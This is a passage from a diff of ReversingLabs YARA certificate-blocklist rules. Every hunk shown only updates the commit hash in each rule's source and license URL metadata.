-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14386-L14402"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14386-L14402"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dff7c2d727acca753b030d05028590e1a5577121bb2b4c0dcfcb70b4c9d77cbf"
 		score = 75
 		quality = 90
@@ -20731,8 +20784,8 @@ rule REVERSINGLABS_Cert_Blocklist_7D20Dec3797A1Ac30649Ebb184265B79 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14404-L14420"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14404-L14420"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "78c0575a1c9ecf37ef5bac0612c20f96b8641875b0ba786979adc8a77f001a5e"
 		score = 75
 		quality = 90
@@ -20756,8 +20809,8 @@ rule REVERSINGLABS_Cert_Blocklist_187D92861076E469B5B7A19E2A9Fd4Ba : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14422-L14438"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14422-L14438"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7383a7fb31a0a913dff1740015ff702642fbb41d8e5a528a8684c80e66026e9d"
 		score = 75
 		quality = 90
@@ -20781,8 +20834,8 @@ rule REVERSINGLABS_Cert_Blocklist_199A9476Feca3C004Ff889D34545De07 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14440-L14456"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14440-L14456"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "39c6efefcbd78d5e08ffd8d3989cab3bdf273a1847b2a961f9e68c9ee95e85b6"
 		score = 75
 		quality = 90
@@ -20806,8 +20859,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Efe65 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14458-L14474"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14458-L14474"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f849b6899b6766807cfddf99ecb809fe923f35f04de09b62235da352ce6e6e24"
 		score = 75
 		quality = 90
@@ -20831,8 +20884,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Af7E2B6A3Deb99291Dcaf66 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14476-L14492"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14476-L14492"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "270b5655a0f54abceb520eaca714ed4f6d4de720883e2759acd5bb2f027dfd2b"
 		score = 75
 		quality = 90
@@ -20856,8 +20909,8 @@ rule REVERSINGLABS_Cert_Blocklist_45E27C4Dfa5E6175566A13B1B6Ddf3F5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14494-L14510"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14494-L14510"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9bcbb84207984b259463482f094bf0f3815f0d74317b6b864dab44769ff5e7e8"
 		score = 75
 		quality = 90
@@ -20881,8 +20934,8 @@ rule REVERSINGLABS_Cert_Blocklist_37D36A4E61C0Ac68Ceb8Bfcef2Dbf283 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14512-L14528"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14512-L14528"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "41e126600aae5646b808ed0a4294faa9a63e47842e9cde4fee9e5e65919af7ee"
 		score = 75
 		quality = 90
@@ -20906,8 +20959,8 @@ rule REVERSINGLABS_Cert_Blocklist_4321De10738278B93683Ca542407F103 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14530-L14546"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14530-L14546"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2787375605310877891ef924268f4660d1c8aa020e00674c1b1d7eb3c4f5b2fb"
 		score = 75
 		quality = 90
@@ -20931,8 +20984,8 @@ rule REVERSINGLABS_Cert_Blocklist_2A6B2Df210Be14F4E18E10C7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14548-L14564"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14548-L14564"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "24ae1664c35b7947e2e638bf620d9ab572c70df9cdc1403cc00b422a45ff9194"
 		score = 75
 		quality = 90
@@ -20956,8 +21009,8 @@ rule REVERSINGLABS_Cert_Blocklist_412Ab2A50E8028Ddcbc499Ddf45F2045 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14566-L14582"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14566-L14582"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a5b85d13dee51d68af28394ecee3dcc2efe7add4d26c2a8033d1855b33ac6271"
 		score = 75
 		quality = 90
@@ -20981,8 +21034,8 @@ rule REVERSINGLABS_Cert_Blocklist_0747F6A8C3542F954B113Fd98C7607Cf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14584-L14600"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14584-L14600"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9d5e5c98f3ef372532cfc4f544d5d3f620dc2e49d8b6e1c96df29d2a38042019"
 		score = 75
 		quality = 90
@@ -21006,8 +21059,8 @@ rule REVERSINGLABS_Cert_Blocklist_2572B484Fa0A61Be7288D785D7Bda7D3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14602-L14618"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14602-L14618"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d6b23ba706a640a1e76ad7ab0a70c845c9366ac8355eea5439f76f6993c9c6be"
 		score = 75
 		quality = 90
@@ -21031,8 +21084,8 @@ rule REVERSINGLABS_Cert_Blocklist_6726Bd04204746C46857887F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14620-L14636"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14620-L14636"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "11d25dff7e05e6f97725e919cc6c978d7f2e64a91cf04b72461c71d592dfc2dc"
 		score = 75
 		quality = 90
@@ -21056,8 +21109,8 @@ rule REVERSINGLABS_Cert_Blocklist_4463D8B31E0F87C14233D4D0D2C487A0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14638-L14654"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14638-L14654"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "04ce664fceb4a617294e860d5364d8a4ce8e055fd2baebb8be69f258d9c70ac7"
 		score = 75
 		quality = 90
@@ -21081,8 +21134,8 @@ rule REVERSINGLABS_Cert_Blocklist_387982605E542D6D52F231Ca6F5657Cc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14656-L14672"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14656-L14672"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d55cfd45bc0d330c0ed433a882874e4633ffbaa0d68288bea9058fe269d75ed9"
 		score = 75
 		quality = 90
@@ -21106,8 +21159,8 @@ rule REVERSINGLABS_Cert_Blocklist_E0134C41E7Eda6863C4Eee5B003976Dd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14674-L14692"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14674-L14692"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fbe34baf52e3fa7d7cdfcfaef9b8851c4cbeb46d17eeade61750e59cf0c13291"
 		score = 75
 		quality = 90
@@ -21131,8 +21184,8 @@ rule REVERSINGLABS_Cert_Blocklist_5B47A4739Dd8Ffe81D9B5307 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14694-L14710"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14694-L14710"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5f35f520d4af26fa648553894a5b0db043d0c32302d94f531b6cb48691396a92"
 		score = 75
 		quality = 90
@@ -21156,8 +21209,8 @@ rule REVERSINGLABS_Cert_Blocklist_4F5A9Bf75Da76B949645475473793A7D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14712-L14728"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14712-L14728"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8c58d30b1b6ef80409d9da5f5f4bc26a8818b01cc388b5966c8b68ed0e4c5a2a"
 		score = 75
 		quality = 90
@@ -21181,8 +21234,8 @@ rule REVERSINGLABS_Cert_Blocklist_081Df56C9A48D02571F08907 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14730-L14746"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14730-L14746"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "25d91f09e0731ab09a05855442b72589eb30e1c7d5e4c0a7af760eea540d786f"
 		score = 75
 		quality = 90
@@ -21206,8 +21259,8 @@ rule REVERSINGLABS_Cert_Blocklist_77D5C1A3E623575999C74409Dc19753C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14748-L14764"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14748-L14764"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "54921ce39a0876511b33ac6fa088c3342e2ea7fa037423fe72825bfe9c83bce6"
 		score = 75
 		quality = 90
@@ -21231,8 +21284,8 @@ rule REVERSINGLABS_Cert_Blocklist_E9756B3F38B1172Ea89Fdbdfdba5F979 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14766-L14784"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14766-L14784"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "997a9433f907896d82f22ae323bf9cfe9aa04a2a49c5505e98adbb34277fcc15"
 		score = 75
 		quality = 90
@@ -21256,8 +21309,8 @@ rule REVERSINGLABS_Cert_Blocklist_09Fb28 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14786-L14802"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14786-L14802"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5ed65d33b73977e869460ba51271aff94811fa2f41e4a2993c47233add2f38dd"
 		score = 75
 		quality = 90
@@ -21281,8 +21334,8 @@ rule REVERSINGLABS_Cert_Blocklist_197Dc32D915458953562D2Fe78Bf2468 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14804-L14820"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14804-L14820"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e61284a74765592fe97b90ca1c260efa46ea31286e6d09ab32d6c664b8271f2a"
 		score = 75
 		quality = 90
@@ -21306,8 +21359,8 @@ rule REVERSINGLABS_Cert_Blocklist_7C0Be3D14787351E3156F5F37F2B3663 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14822-L14838"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14822-L14838"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "66c2cd84fccedd2afef00495c49d0c2844e2e5e190e6a859d2970e8ddb4a35c2"
 		score = 75
 		quality = 90
@@ -21331,8 +21384,8 @@ rule REVERSINGLABS_Cert_Blocklist_05054Fdea356F3Dd7Db479Fa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14840-L14856"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14840-L14856"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "02ec52e060a6b8b3edfad0a1f5b1f2d6c409645d5233612d0d353ad74bcd4568"
 		score = 75
 		quality = 90
@@ -21356,8 +21409,8 @@ rule REVERSINGLABS_Cert_Blocklist_08Aaa069E92517F21Ce67Ca713F6Ea63 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14858-L14874"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14858-L14874"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "28ad7e9c75a701425003cde4a7eb10fa471394628cd5004412778d8d7cddb50b"
 		score = 75
 		quality = 90
@@ -21381,8 +21434,8 @@ rule REVERSINGLABS_Cert_Blocklist_1B7B54E0Dd4D7E45A0B46834De52658D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14876-L14892"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14876-L14892"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5febbce8c39440bfc4846f509f0b1dd4f71a8b4dc24fa18afb561d26e53c2446"
 		score = 75
 		quality = 90
@@ -21406,8 +21459,8 @@ rule REVERSINGLABS_Cert_Blocklist_B63E4299D0B0E2Dcdaeb976167A23235 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14894-L14912"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14894-L14912"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "da7415d0bc0245dea6a4ec325da5140c79c723c20fb7c04ff14f59a3089a5c88"
 		score = 75
 		quality = 90
@@ -21431,8 +21484,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Dabae616705F5A51152Eac48423F354 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14914-L14930"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14914-L14930"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
